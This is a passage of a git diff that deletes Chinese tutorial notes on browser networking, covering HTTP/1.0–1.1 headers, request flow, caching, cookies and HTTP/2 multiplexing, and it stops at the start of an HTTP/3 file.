-要支持多种类型的文件,我们就需要解决以下几个问题 - -- 首先,浏览器需要知道服务器返回的数据是什么类型的,然后浏览器才能根据不同的数据类型做针对性的处理。 -- 其次,由于万维网所支持的应用变得越来越广,所以单个文件的数据量也变得越来越大。为了减轻传输性能,服务器会对数据进行压缩后再传输,所以浏览器需要知道服务器压缩的方法。 -- 再次,由于万维网是支持全球范围的,所以需要提供国际化的支持,服务器需要对不同的地区提供不同的语言版本,这就需要浏览器告诉服务器它想要什么语言版本的页面。 -- 最后,由于增加了各种不同类型的文件,而每种文件的编码形式又可能不一样,为了能够准确地读取文件,浏览器需要知道文件的编码类型 - -基于以上问题,HTTP/1.0 的方案是通过请求头和响应头来进行协商,在发起请求时候会通过 HTTP 请求头告诉服务器它期待服务器返回什么类型的文件、采取什么形式的压缩、提供什么语言的文件以及文件的具体编码。最终发送出来的请求头内容如下: - - -``` -accept: text/html -accept-encoding: gzip, deflate, br -accept-Charset: ISO-8859-1,utf-8 -accept-language: zh-CN,zh -``` - -其中第一行表示期望服务器返回 html 类型的文件,第二行表示期望服务器可以采用 gzip、deflate 或者 br 其中的一种压缩方式,第三行表示期望返回的文件编码是 UTF-8 或者 ISO-8859-1,第四行是表示期望页面的优先语言是中文。 - -服务器接收到浏览器发送过来的请求头信息之后,会根据请求头的信息来准备响应数据。不过有时候会有一些意外情况发生,比如浏览器请求的压缩类型是 gzip,但是服务器不支持 gzip,只支持 br 压缩,那么它会通过响应头中的 content-encoding 字段告诉浏览器最终的压缩类型,也就是说最终浏览器需要根据响应头的信息来处理数据。下面是一段响应头的数据信息: - -``` -content-encoding: br -content-type: text/html; charset=UTF-8 -``` - -其中第一行表示服务器采用了 br 的压缩方法,第二行表示服务器返回的是 html 文件,并且该文件的编码类型是 UTF-8。 - -有了响应头的信息,浏览器就会使用 br 方法来解压文件,再按照 UTF-8 的编码格式来处理原始文件,最后按照 HTML 的方式来解析该文件。这就是 HTTP/1.0 支持多文件的一个基本的处理流程。 - -HTTP/1.0 除了对多文件提供良好的支持外,还依据当时实际的需求引入了很多其他的特性,这些特性都是通过请求头和响应头来实现的。下面我们来看看新增的几个典型的特性 - -- 有的请求服务器可能无法处理,或者处理出错,这时候就需要告诉浏览器服务器最终处理该请求的情况,这就引入了状态码。状态码是通过响应行的方式来通知浏览器的。 -- 为了减轻服务器的压力,在 HTTP/1.0 中提供了Cache 机制,用来缓存已经下载过的数据。 -- 服务器需要统计客户端的基础信息,比如 Windows 和 macOS 的用户数量分别是多少,所以 HTTP/1.0 的请求头中还加入了用户代理的字段 - -## 缝缝补补的 HTTP/1.1 - -不过随着技术的继续发展,需求也在不断迭代更新,很快 HTTP/1.0 也不能满足需求了,所以 HTTP/1.1 又在 HTTP/1.0 的基础之上做了大量的更新。接下来我们来看看 HTTP/1.0 遇到了哪些主要的问题,以及 HTTP/1.1 又是如何改进的。 - -### 1. 改进持久连接 - -HTTP/1.0 每进行一次 HTTP 通信,都需要经历建立 TCP 连接、传输 HTTP 数据和断开 TCP 连接三个阶段(如下图)。 - -![](http://blog.poetries.top/img-repo/2019/11/81.png) - -在当时,由于通信的文件比较小,而且每个页面的引用也不多,所以这种传输形式没什么大问题。但是随着浏览器普及,单个页面中的图片文件越来越多,有时候一个页面可能包含了几百个外部引用的资源文件,如果在下载每个文件的时候,都需要经历建立 TCP 连接、传输数据和断开连接这样的步骤,无疑会增加大量无谓的开销。 - -为了解决这个问题,HTTP/1.1 中增加了持久连接的方法,它的特点是在一个 TCP 连接上可以传输多个 HTTP 请求,只要浏览器或者服务器没有明确断开连接,那么该 TCP 连接会一直保持。 - -![](http://blog.poetries.top/img-repo/2019/11/82.png) - - -从上图可以看出,HTTP 的持久连接可以有效减少 TCP 建立连接和断开连接的次数,这样的好处是减少了服务器额外的负担,并提升整体 HTTP 的请求时长。 - -持久连接在 HTTP/1.1 中是默认开启的,所以你不需要专门为了持久连接去 HTTP 请求头设置信息,如果你不想要采用持久连接,可以在 HTTP 请求头中加上Connection: close。目前浏览器中对于同一个域名,默认允许同时建立 6 个 TCP 持久连接。 - -### 2. 不成熟的 HTTP 管线化 - -持久连接虽然能减少 TCP 的建立和断开次数,但是它需要等待前面的请求返回之后,才能进行下一次请求。如果 TCP 通道中的某个请求因为某些原因没有及时返回,那么就会阻塞后面的所有请求,这就是著名的队头阻塞的问题。 - -HTTP/1.1 中试图通过管线化的技术来解决队头阻塞的问题。HTTP/1.1 中的管线化是指将多个 HTTP 请求整批提交给服务器的技术,虽然可以整批发送请求,不过服务器依然需要根据请求顺序来回复浏览器的请求。 - -FireFox、Chrome 都做过管线化的试验,但是由于各种原因,它们最终都放弃了管线化技术。 - -### 3. 提供虚拟主机的支持 - -在 HTTP/1.0 中,每个域名绑定了一个唯一的 IP 地址,因此一个服务器只能支持一个域名。但是随着虚拟主机技术的发展,需要实现在一台物理主机上绑定多个虚拟主机,每个虚拟主机都有自己的单独的域名,这些单独的域名都公用同一个 IP 地址。 - -因此,HTTP/1.1 的请求头中增加了Host 字段,用来表示当前的域名地址,这样服务器就可以根据不同的 Host 值做不同的处理。 - -### 4. 对动态生成的内容提供了完美支持 - -在设计 HTTP/1.0 时,需要在响应头中设置完整的数据大小,如Content-Length: 901,这样浏览器就可以根据设置的数据大小来接收数据。不过随着服务器端的技术发展,很多页面的内容都是动态生成的,因此在传输数据之前并不知道最终的数据大小,这就导致了浏览器不知道何时会接收完所有的文件数据。 - -HTTP/1.1 通过引入Chunk transfer 机制来解决这个问题,服务器会将数据分割成若干个任意大小的数据块,每个数据块发送时会附上上个数据块的长度,最后使用一个零长度的块作为发送数据完成的标志。这样就提供了对动态内容的支持。 - -### 5. 客户端 Cookie、安全机制 - -除此之外,HTTP/1.1 还引入了客户端 Cookie 机制和安全机制。其中,Cookie 机制我们在《03 | HTTP 请求流程:为什么很多站点第二次打开速度会很快?》这篇文章中介绍过了,而安全机制我们会在后面的安全模块中再做介绍,这里就不赘述了。 - -## 总结 - -好了,今天就介绍到这里,下面我来总结下本文的主要内容。 - -本文我们重点强调了 HTTP 是浏览器和服务器的通信语言,然后我们从需求演变的角度追溯了 HTTP 的发展史,在诞生之初的 HTTP/0.9 因为需求简单,所以和服务器之间的通信过程也相对简单。 - -由于万维网的快速崛起,带来了大量新的需求,其中最核心的一个就是需要支持多种类型的文件下载, 为此 HTTP/1.0 中引入了请求头和响应头。在支持多种类型文件下载的基础之上,HTTP/1.0 还提供了 Cache 机制、用户代理、状态码等一些基础信息。 - -但随着技术和需求的发展,人们对文件传输的速度要求越来越高,故又基于 HTTP/1.0 推出了 HTTP/1.1,增加了持久连接方法来提升连接效率,同时还尝试使用管线化技术提升效率(不过由于各种原因,管线化技术最终被各大厂商放弃了)。除此之外,HTTP/1.1 还引入了 Cookie、虚拟主机的支持、对动态内容的支持等特性。 - -虽然 HTTP/1.1 在 HTTP/1.0 的基础之上做了大量的优化,但是由于一些效率问题始终很难解决,所以最终还是被 HTTP/2 所取代,这就是我们下一篇文章要介绍的内容了 \ No newline at end of file diff --git "a/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L3 HTTP\350\257\267\346\261\202\346\265\201\347\250\213\357\274\232\344\270\272\344\273\200\344\271\210\345\276\210\345\244\232\347\253\231\347\202\271\347\254\254\344\272\214\346\254\241\346\211\223\345\274\200\351\200\237\345\272\246\344\274\232\345\276\210\345\277\253.md" "b/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L3 HTTP\350\257\267\346\261\202\346\265\201\347\250\213\357\274\232\344\270\272\344\273\200\344\271\210\345\276\210\345\244\232\347\253\231\347\202\271\347\254\254\344\272\214\346\254\241\346\211\223\345\274\200\351\200\237\345\272\246\344\274\232\345\276\210\345\277\253.md" deleted file mode 100644 index 454b98e7..00000000 --- "a/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L3 HTTP\350\257\267\346\261\202\346\265\201\347\250\213\357\274\232\344\270\272\344\273\200\344\271\210\345\276\210\345\244\232\347\253\231\347\202\271\347\254\254\344\272\214\346\254\241\346\211\223\345\274\200\351\200\237\345\272\246\344\274\232\345\276\210\345\277\253.md" +++ /dev/null @@ -1,199 +0,0 @@ ---- -icon: edit -date: 2022-03-21 -category: -- 浏览器原理 ---- - -# L3 HTTP请求流程:为什么很多站点第二次打开速度会很快 - -## 浏览器端发起HTTP请求流程 - -如果你在浏览器地址栏里键入地址:http://baidu.com, 那么接下来,浏览器会完成哪些动作呢?下面我们就一步一步详细“追踪”下 - -### 1. 构建请求 - -首先,浏览器构建请求行信息(如下所示),构建好后,浏览器准备发起网络请求 - -``` -GET /index.html HTTP1.1 -``` - -### 2. 查找缓存 - -在真正发起网络请求之前,浏览器会先在浏览器缓存中查询是否有要请求的文件。其中,浏览器缓存是一种在本地保存资源副本,以供下次请求时直接使用的技术。 - -当浏览器发现请求的资源已经在浏览器缓存中存有副本,它会拦截请求,返回该资源的副本,并直接结束请求,而不会再去源服务器重新下载。这样做的好处有: - -- 缓解服务器端压力,提升性能(获取资源的耗时更短了); -- 对于网站来说,缓存是实现快速资源加载的重要组成部分。 - -当然,如果缓存查找失败,就会进入网络请求过程了。 - -### 3. 准备IP地址和端口 - -不过,先不急,在了解网络请求之前,我们需要先看看HTTP和TCP的关系。因为浏览器使用**HTTP协议作为应用层协议**,用来封装请求的文本信息;并使用TCP/IP作传输层协议将它发到网络上,所以在HTTP工作开始之前,**浏览器需要通过TCP与服务器建立连接**。也就是说HTTP的内容是通过TCP的传输数据阶段来实现的,你可以结合下图更好地理解这二者的关系。 - -![](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/1277f342174b23f9442d3b27016d7980.png) - -### 4. 等待TCP队列 - -现在已经把端口和IP地址都准备好了,那么下一步是不是可以建立TCP连接了呢? - -答案依然是“不行”。**Chrome有个机制,同一个域名同时最多只能建立6个TCP连接,如果在同一个域名下同时有10个请求发生,那么其中4个请求会进入排队等待状态,直至进行中的请求完成。**(性能优化方向) - -当然,如果当前请求数量少于6,会直接进入下一步,建立TCP连接。 - -### 5. 建立TCP连接 - -排队等待结束之后,终于可以快乐地和服务器握手了,在HTTP工作开始之前,浏览器通过TCP与服务器建立连接。而TCP的工作方式,我在上一篇文章中已经做过详细介绍了,如果有必要,你可以自行回顾下,这里我就不再重复讲述了。 - -### 6. 发送HTTP请求 - -一旦建立了TCP连接,浏览器就可以和服务器进行通信了。而HTTP中的数据正是在这个通信过程中传输的。 - -你可以结合下图来理解,浏览器是如何发送请求信息给服务器的。 - -![](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/b8993c73f7b60feb9b8bd147545c47d7.png) - -首先浏览器会向服务器发送请求行,它包括了请求方法、请求URI(Uniform Resource Identifier)和HTTP版本协议。 - -发送请求行,就是告诉服务器浏览器需要什么资源,最常用的请求方法是Get。比如,直接在浏览器地址栏键入极客时间的域名(time.geekbang.org),这就是告诉服务器要Get它的首页资源。 - -另外一个常用的请求方法是POST,它用于发送一些数据给服务器,比如登录一个网站,就需要通过POST方法把用户信息发送给服务器。如果使用POST方法,那么浏览器还要准备数据给服务器,这里准备的数据是通过请求体来发送。 - -在浏览器发送请求行命令之后,还要以请求头形式发送其他一些信息,把浏览器的一些基础信息告诉服务器。比如包含了浏览器所使用的操作系统、浏览器内核等信息,以及当前请求的域名信息、浏览器端的Cookie信息,等等 - -## 服务器端处理HTTP请求流程 - -历经千辛万苦,HTTP的请求信息终于被送达了服务器。接下来,服务器会根据浏览器的请求信息来准备相应的内容 - -### 1. 返回请求 - -一旦服务器处理结束,便可以返回数据给浏览器了。你可以通过工具软件curl来查看返回请求数据,具体使用方法是在命令行中输入以下命令: - -``` -curl -i https://time.geekbang.org/ -``` - -注意这里加上了-i是为了返回响应行、响应头和响应体的数据,返回的结果如下图所示,你可以结合这些数据来理解服务器是如何响应浏览器的。 - -![](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/3e30476a4bbda49fd7cd4fd0ea09f076.png) - -首先服务器会返回响应行,包括协议版本和状态码。 - -但并不是所有的请求都可以被服务器处理的,那么一些无法处理或者处理出错的信息,怎么办呢?服务器会通过请求行的状态码来告诉浏览器它的处理结果,比如: - -- **最常用的状态码是200,表示处理成功;** -- **如果没有找到页面,则会返回404-** - - -状态码类型很多,这里我就不过多介绍了,网上有很多资料,你可以自行查询和学习。 - -随后,正如浏览器会随同请求发送请求头一样,服务器也会随同响应向浏览器发送响应头。响应头包含了服务器自身的一些信息,比如服务器生成返回数据的时间、返回的数据类型(JSON、HTML、流媒体等类型),以及服务器要在客户端保存的Cookie等信息。 - -发送完响应头后,服务器就可以继续发送响应体的数据,通常,响应体就包含了HTML的实际内容。 - -以上这些就是服务器响应浏览器的具体过程 - -### 2. 断开连接 - -通常情况下,一旦服务器向客户端返回了请求数据,它就要关闭 TCP 连接。不过如果浏览器或者服务器在其头信息中加入了: - -``` -Connection:Keep-Alive -``` - -那么TCP连接在发送后将仍然保持打开状态,这样浏览器就可以继续通过同一个TCP连接发送请求。保持TCP连接可以省去下次请求时需要建立连接的时间,提升资源加载速度。比如,一个Web页面中内嵌的图片就都来自同一个Web站点,如果初始化了一个持久连接,你就可以复用该连接,以请求其他资源,而不需要重新再建立新的TCP连接。 - -### 3. 重定向 - -到这里似乎请求流程快结束了,不过还有一种情况你需要了解下,比如当你在浏览器中打开geekbang.org后,你会发现最终打开的页面地址是 https://www.geekbang.org。 - -这两个URL之所以不一样,是因为涉及到了一个重定向操作。跟前面一样,你依然可以使用curl来查看下请求geekbang.org 会返回什么内容? - -在控制台输入如下命令: - -``` -curl -I geekbang.org -``` - -注意这里输入的参数是-I,和-i不一样,-I表示只需要获取响应头和响应行数据,而不需要获取响应体的数据,最终返回的数据如下图所示: - -![](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/01db98e08233dba5847fab171ce95e6b.png) - -从图中你可以看到,响应行返回的状态码是301,状态301就是告诉浏览器,我需要重定向到另外一个网址,而需要重定向的网址正是包含在响应头的Location字段中,接下来,浏览器获取Location字段中的地址,并使用该地址重新导航,这就是一个完整重定向的执行流程。这也就解释了为什么输入的是 geekbang.org,最终打开的却是 https://www.geekbang.org 了。 - -不过也不要认为这种跳转是必然的。如果你打开 https://12306.cn,你会发现这个站点是打不开的。这是因为12306的服务器并没有处理跳转,所以必须要手动输入完整的 https://www.12306.com 才能打开页面。 - -## 问题解答 - -说了这么多,相信你现在已经了解了HTTP的请求流程,那现在我们再回过头来看看文章开头提出的问题。 - -### 1. 为什么很多站点第二次打开速度会很快? - -如果第二次页面打开很快,主要原因是第一次加载页面过程中,缓存了一些耗时的数据。 - -那么,哪些数据会被缓存呢?从上面介绍的核心请求路径可以发现,DNS缓存和页面资源缓存这两块数据是会被浏览器缓存的。其中,DNS缓存比较简单,它主要就是在浏览器本地把对应的IP和域名关联起来,这里就不做过多分析了。 - -我们重点看下浏览器资源缓存,下面是缓存处理的过程: - -![](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/1670e353bf6cccc096e63e0f102ed502.png) - -首先,我们看下服务器是通过什么方式让浏览器缓存数据的? - -从上图的第一次请求可以看出,当服务器返回HTTP响应头给浏览器时,浏览器是通过响应头中的Cache-Control字段来设置是否缓存该资源。通常,我们还需要为这个资源设置一个缓存过期时长,而这个时长是通过Cache-Control中的Max-age参数来设置的,比如上图设置的缓存过期时间是2000秒。 - -``` -Cache-Control:Max-age=2000 -``` - -这也就意味着,在该缓存资源还未过期的情况下, 如果再次请求该资源,会直接返回缓存中的资源给浏览器。 - -但如果缓存过期了,浏览器则会继续发起网络请求,并且在HTTP请求头中带上: - -``` -If-None-Match:"4f80f-13c-3a1xb12a" -``` - -服务器收到请求头后,会根据If-None-Match的值来判断请求的资源是否有更新。 - -- 如果没有更新,就返回304状态码,相当于服务器告诉浏览器:“这个缓存可以继续使用,这次就不重复发送数据给你了。” -- 如果资源有更新,服务器就直接返回最新资源给浏览器。 - -简要来说,很多网站第二次访问能够秒开,是因为这些网站把很多资源都缓存在了本地,浏览器缓存直接使用本地副本来回应请求,而不会产生真实的网络请求,从而节省了时间。同时,DNS数据也被浏览器缓存了,这又省去了DNS查询环节 - -### 2. 登录状态是如何保持的? - -- 通过上面的介绍,你已经了解了缓存是如何工作的。下面我们再一起看下登录状态是如何保持的。 -- 用户打开登录页面,在登录框里填入用户名和密码,点击确定按钮。点击按钮会触发页面脚本生成用户登录信息,然后调用POST方法提交用户登录信息给服务器。 -- 服务器接收到浏览器提交的信息之后,查询后台,验证用户登录信息是否正确,如果正确的话,会生成一段表示用户身份的字符串,并把该字符串写到响应头的`Set-Cookie`字段里,如下所示,然后把响应头发送给浏览器 - -``` -Set-Cookie: UID=3431uad; -``` - -- 浏览器在接收到服务器的响应头后,开始解析响应头,如果遇到响应头里含有Set-Cookie字段的情况,浏览器就会把这个字段信息保存到本地。比如把UID=3431uad保持到本地。 -- 当用户再次访问时,浏览器会发起HTTP请求,但在发起请求之前,浏览器会读取之前保存的Cookie数据,并把数据写进请求头里的Cookie字段里(如下所示),然后浏览器再将请求头发送给服务器。 - -``` -Cookie: UID=3431uad; -``` - -- 服务器在收到HTTP请求头数据之后,就会查找请求头里面的“Cookie”字段信息,当查找到包含UID=3431uad的信息时,服务器查询后台,并判断该用户是已登录状态,然后生成含有该用户信息的页面数据,并把生成的数据发送给浏览器。 -- 浏览器在接收到该含有当前用户的页面数据后,就可以正确展示用户登录的状态信息了 - -好了,通过这个流程你可以知道浏览器页面状态是通过使用Cookie来实现的。Cookie流程可以参考下图: - -![](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/d9d6cefe8d3d6d84a37a626687c6ecb3.png) - -简单地说,如果服务器端发送的响应头内有 Set-Cookie 的字段,那么浏览器就会将该字段的内容保持到本地。当下次客户端再往该服务器发送请求时,客户端会自动在请求头中加入 Cookie 值后再发送出去。服务器端发现客户端发送过来的Cookie后,会去检查究竟是从哪一个客户端发来的连接请求,然后对比服务器上的记录,最后得到该用户的状态信息。 - -## 总结 - -为了便于你理解,下面这张详细的“HTTP请求示意图”,用来展现浏览器中的HTTP请求所经历的各个阶段。 - -![](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/1b49976aca2c700883d48d927f48986c.png) - - - diff --git "a/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L30 HTTP2\357\274\232\345\246\202\344\275\225\346\217\220\345\215\207\347\275\221\347\273\234\351\200\237\345\272\246.md" "b/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L30 HTTP2\357\274\232\345\246\202\344\275\225\346\217\220\345\215\207\347\275\221\347\273\234\351\200\237\345\272\246.md" deleted file mode 100644 index d688fec2..00000000 --- "a/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L30 HTTP2\357\274\232\345\246\202\344\275\225\346\217\220\345\215\207\347\275\221\347\273\234\351\200\237\345\272\246.md" +++ /dev/null @@ -1,130 +0,0 @@ - -# HTTP2:如何提升网络速度 - -上一篇文章我们聊了 HTTP/1.1 的发展史,虽然 HTTP/1.1 已经做了大量的优化,但是依然存在很多性能瓶颈,依然不能满足我们日益变化的新需求,所以就有了我们今天要聊的 HTTP/2。 - -本文我们依然从需求的层面来谈,先分析 HTTP/1.1 存在哪些问题,然后再来分析 HTTP/2 是如何解决这些问题的。 - -我们知道 HTTP/1.1 为网络效率做了大量的优化,最核心的有如下三种方式: - -- 增加了持久连接; -- 浏览器为每个域名最多同时维护 6 个 TCP 持久连接; -- 使用 CDN 的实现域名分片机制。 - - -通过这些方式就大大提高了页面的下载速度,你可以通过下图来直观感受下: - -![](http://blog.poetries.top/img-repo/2019/11/83.png) - -在该图中,引入了 CDN,并同时为每个域名维护 6 个连接,这样就大大减轻了整个资源的下载时间。这里我们可以简单计算下:如果使用单个 TCP 的持久连接,下载 100 个资源所花费的时间为 100 * n * RTT;若通过上面的技术,就可以把整个时间缩短为 100 * n * RTT/(6 * CDN 个数)。从这个计算结果来看,我们的页面加载速度变快了不少 - -## HTTP/1.1 的主要问题 - -虽然 HTTP/1.1 采取了很多优化资源加载速度的策略,也取得了一定的效果,但是 HTTP/1.1对带宽的利用率却并不理想,这也是 HTTP/1.1 的一个核心问题。 - -带宽是指每秒最大能发送或者接收的字节数。我们把每秒能发送的最大字节数称为上行带宽,每秒能够接收的最大字节数称为下行带宽。 - -之所以说 HTTP/1.1 对带宽的利用率不理想,是因为 HTTP/1.1 很难将带宽用满。比如我们常说的 100M 带宽,实际的下载速度能达到 12.5M/S,而采用 HTTP/1.1 时,也许在加载页面资源时最大只能使用到 2.5M/S,很难将 12.5M 全部用满。 - -之所以会出现这个问题,主要是由以下三个原因导致的。 - - -**第一个原因,TCP 的慢启动。** - -一旦一个 TCP 连接建立之后,就进入了发送数据状态,刚开始 TCP 协议会采用一个非常慢的速度去发送数据,然后慢慢加快发送数据的速度,直到发送数据的速度达到一个理想状态,我们把这个过程称为慢启动。 - -你可以把每个 TCP 发送数据的过程看成是一辆车的启动过程,当刚进入公路时,会有从 0 到一个稳定速度的提速过程,TCP 的慢启动就类似于该过程。 - -慢启动是 TCP 为了减少网络拥塞的一种策略,我们是没有办法改变的。 - -而之所以说慢启动会带来性能问题,是因为页面中常用的一些关键资源文件本来就不大,如 HTML 文件、CSS 文件和 JavaScript 文件,通常这些文件在 TCP 连接建立好之后就要发起请求的,但这个过程是慢启动,所以耗费的时间比正常的时间要多很多,这样就推迟了宝贵的首次渲染页面的时长了。 - -**第二个原因,同时开启了多条 TCP 连接,那么这些连接会竞争固定的带宽。** - -你可以想象一下,系统同时建立了多条 TCP 连接,当带宽充足时,每条连接发送或者接收速度会慢慢向上增加;而一旦带宽不足时,这些 TCP 连接又会减慢发送或者接收的速度。比如一个页面有 200 个文件,使用了 3 个 CDN,那么加载该网页的时候就需要建立 6 * 3,也就是 18 个 TCP 连接来下载资源;在下载过程中,当发现带宽不足的时候,各个 TCP 连接就需要动态减慢接收数据的速度。 - -这样就会出现一个问题,因为有的 TCP 连接下载的是一些关键资源,如 CSS 文件、JavaScript 文件等,而有的 TCP 连接下载的是图片、视频等普通的资源文件,但是多条 TCP 连接之间又不能协商让哪些关键资源优先下载,这样就有可能影响那些关键资源的下载速度了。 - -**第三个原因,HTTP/1.1 队头阻塞的问题。** - -通过上一篇文章,我们知道在 HTTP/1.1 中使用持久连接时,虽然能公用一个 TCP 管道,但是在一个管道中同一时刻只能处理一个请求,在当前的请求没有结束之前,其他的请求只能处于阻塞状态。这意味着我们不能随意在一个管道中发送请求和接收内容。 - -这是一个很严重的问题,因为阻塞请求的因素有很多,并且都是一些不确定性的因素,假如有的请求被阻塞了 5 秒,那么后续排队的请求都要延迟等待 5 秒,在这个等待的过程中,带宽、CPU 都被白白浪费了。 - -在浏览器处理生成页面的过程中,是非常希望能提前接收到数据的,这样就可以对这些数据做预处理操作,比如提前接收到了图片,那么就可以提前进行编解码操作,等到需要使用该图片的时候,就可以直接给出处理后的数据了,这样能让用户感受到整体速度的提升。 - -但队头阻塞使得这些数据不能并行请求,所以队头阻塞是很不利于浏览器优化的。 - - -## HTTP/2 的多路复用 - -前面我们分析了 HTTP/1.1 所存在的一些主要问题:慢启动和 TCP 连接之间相互竞争带宽是由于 TCP 本身的机制导致的,而队头阻塞是由于 HTTP/1.1 的机制导致的。 - -那么该如何去解决这些问题呢? - -虽然 TCP 有问题,但是我们依然没有换掉 TCP 的能力,所以我们就要想办法去规避 TCP 的慢启动和 TCP 连接之间的竞争问题。 - -基于此,HTTP/2 的思路就是一个域名只使用一个 TCP 长连接来传输数据,这样整个页面资源的下载过程只需要一次慢启动,同时也避免了多个 TCP 连接竞争带宽所带来的问题。 - -另外,就是队头阻塞的问题,等待请求完成后才能去请求下一个资源,这种方式无疑是最慢的,所以 HTTP/2 需要实现资源的并行请求,也就是任何时候都可以将请求发送给服务器,而并不需要等待其他请求的完成,然后服务器也可以随时返回处理好的请求资源给浏览器。 - -所以,HTTP/2 的解决方案可以总结为:一个域名只使用一个 TCP 长连接和消除队头阻塞问题。可以参考下图: - - -![](http://blog.poetries.top/img-repo/2019/11/84.png) - -该图就是 HTTP/2 最核心、最重要且最具颠覆性的多路复用机制。从图中你会发现每个请求都有一个对应的 ID,如 stream1 表示 index.html 的请求,stream2 表示 foo.css 的请求。这样在浏览器端,就可以随时将请求发送给服务器了。 - -服务器端接收到这些请求后,会根据自己的喜好来决定优先返回哪些内容,比如服务器可能早就缓存好了 index.html 和 bar.js 的响应头信息,那么当接收到请求的时候就可以立即把 index.html 和 bar.js 的响应头信息返回给浏览器,然后再将 index.html 和 bar.js 的响应体数据返回给浏览器。之所以可以随意发送,是因为每份数据都有对应的 ID,浏览器接收到之后,会筛选出相同 ID 的内容,将其拼接为完整的 HTTP 响应数据。 - -HTTP/2 使用了多路复用技术,可以将请求分成一帧一帧的数据去传输,这样带来了一个额外的好处,就是当收到一个优先级高的请求时,比如接收到 JavaScript 或者 CSS 关键资源的请求,服务器可以暂停之前的请求来优先处理关键资源的请求 - - -## 多路复用的实现 - -现在我们知道为了解决 HTTP/1.1 存在的问题,HTTP/2 采用了多路复用机制,那 HTTP/2 是怎么实现多路复用的呢?你可以先看下面这张图: - -![](http://blog.poetries.top/img-repo/2019/11/85.png) - -从图中可以看出,HTTP/2 添加了一个二进制分帧层,那我们就结合图来分析下 HTTP/2 的请求和接收过程。 - -- 首先,浏览器准备好请求数据,包括了请求行、请求头等信息,如果是 POST 方法,那么还要有请求体。 -- 这些数据经过二进制分帧层处理之后,会被转换为一个个带有请求 ID 编号的帧,通过协议栈将这些帧发送给服务器。 -- 服务器接收到所有帧之后,会将所有相同 ID 的帧合并为一条完整的请求信息。 -- 然后服务器处理该条请求,并将处理的响应行、响应头和响应体分别发送至二进制分帧层。 -- 同样,二进制分帧层会将这些响应数据转换为一个个带有请求 ID 编号的帧,经过协议栈发送给浏览器。 -- 浏览器接收到响应帧之后,会根据 ID 编号将帧的数据提交给对应的请求 - -从上面的流程可以看出,通过引入二进制分帧层,就实现了 HTTP 的多路复用技术。 - -上一篇文章我们介绍过,HTTP 是浏览器和服务器通信的语言,在这里虽然 HTTP/2 引入了二进制分帧层,不过 HTTP/2 的语义和 HTTP/1.1 依然是一样的,也就是说它们通信的语言并没有改变,比如开发者依然可以通过 Accept 请求头告诉服务器希望接收到什么类型的文件,依然可以使用 Cookie 来保持登录状态,依然可以使用 Cache 来缓存本地文件,这些都没有变,发生改变的只是传输方式。这一点对开发者来说尤为重要,这意味着我们不需要为 HTTP/2 去重建生态,并且 HTTP/2 推广起来会也相对更轻松了 - -## HTTP/2 其他特性 - - -通过上面的分析,我们知道了多路复用是 HTTP/2 的最核心功能,它能实现资源的并行传输。多路复用技术是建立在二进制分帧层的基础之上。其实基于二进制分帧层,HTTP/2 还附带实现了很多其他功能,下面我们就来简要了解下。 - - -### 1. 可以设置请求的优先级 - -我们知道浏览器中有些数据是非常重要的,但是在发送请求时,重要的请求可能会晚于那些不怎么重要的请求,如果服务器按照请求的顺序来回复数据,那么这个重要的数据就有可能推迟很久才能送达浏览器,这对于用户体验来说是非常不友好的。 - -为了解决这个问题,HTTP/2 提供了请求优先级,可以在发送请求时,标上该请求的优先级,这样服务器接收到请求之后,会优先处理优先级高的请求。 - -### 2. 服务器推送 - -除了设置请求的优先级外,HTTP/2 还可以直接将数据提前推送到浏览器。你可以想象这样一个场景,当用户请求一个 HTML 页面之后,服务器知道该 HTML 页面会引用几个重要的 JavaScript 文件和 CSS 文件,那么在接收到 HTML 请求之后,附带将要使用的 CSS 文件和 JavaScript 文件一并发送给浏览器,这样当浏览器解析完 HTML 文件之后,就能直接拿到需要的 CSS 文件和 JavaScript 文件,这对首次打开页面的速度起到了至关重要的作用。 - -### 3. 头部压缩 - -无论是 HTTP/1.1 还是 HTTP/2,它们都有请求头和响应头,这是浏览器和服务器的通信语言。HTTP/2 对请求头和响应头进行了压缩,你可能觉得一个 HTTP 的头文件没有多大,压不压缩可能关系不大,但你这样想一下,在浏览器发送请求的时候,基本上都是发送 HTTP 请求头,很少有请求体的发送,通常情况下页面也有 100 个左右的资源,如果将这 100 个请求头的数据压缩为原来的 20%,那么传输效率肯定能得到大幅提升。 - -## 总结 - -好了,今天就介绍这里,下面我来总结下本文的主要内容。 - -我们首先分析了影响 HTTP/1.1 效率的三个主要因素:TCP 的慢启动、多条 TCP 连接竞争带宽和队头阻塞。 - -接下来我们分析了 HTTP/2 是如何采用多路复用机制来解决这些问题的。多路复用是通过在协议栈中添加二进制分帧层来实现的,有了二进制分帧层还能够实现请求的优先级、服务器推送、头部压缩等特性,从而大大提升了文件传输效率。 - -HTTP/2 协议规范于 2015 年 5 月正式发布,在那之后,该协议已在互联网和万维网上得到了广泛的实现和部署。从目前的情况来看,国内外一些排名靠前的站点基本都实现了 HTTP/2 的部署。使用 HTTP/2 能带来 20%~60% 的效率提升,至于 20% 还是 60% 要看优化的程度。总之,我们也应该与时俱进,放弃 HTTP/1.1 和其性能优化方法,去“拥抱”HTTP/2 \ No newline at end of file diff --git "a/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L31 HTTP3\357\274\232\347\224\251\346\216\211TCP\343\200\201TCL\345\214\205\350\242\261 \346\236\204\345\273\272\351\253\230\346\225\210\347\275\221\347\273\234.md" "b/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L31 